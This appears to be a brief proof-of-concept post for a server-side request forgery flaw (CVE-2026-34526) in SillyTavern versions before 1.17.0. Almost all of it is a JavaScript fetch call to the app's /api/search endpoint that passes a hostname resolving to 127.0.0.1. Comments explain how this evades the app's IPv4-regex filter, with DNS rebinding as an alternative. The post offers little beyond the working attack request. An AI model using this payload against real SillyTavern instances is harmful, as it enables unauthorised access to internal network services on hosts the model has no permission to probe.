CVE-2026-34526 SillyTavern SSRF漏洞

// PoC Concept: Sending a request to the vulnerable search endpoint // Target: SillyTavern < 1.17.0 // Bypass: Using 'localhost' or DNS rebinding to bypass IPv4 regex check const targetUrl = 'http://localtest.me:80'; // Resolves to 127.0.0.1, bypasses the strict IPv4 regex fetch('http://<sillytavern-host>/api/search', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ url: targetUrl // The vulnerable code checks urlObj.hostname against /^\d+\.\d+\.\d+\.\d+$/ // 'localtest.me' does not match the regex, so it passes the weak filter. // Port check allows default ports (80/443). }) });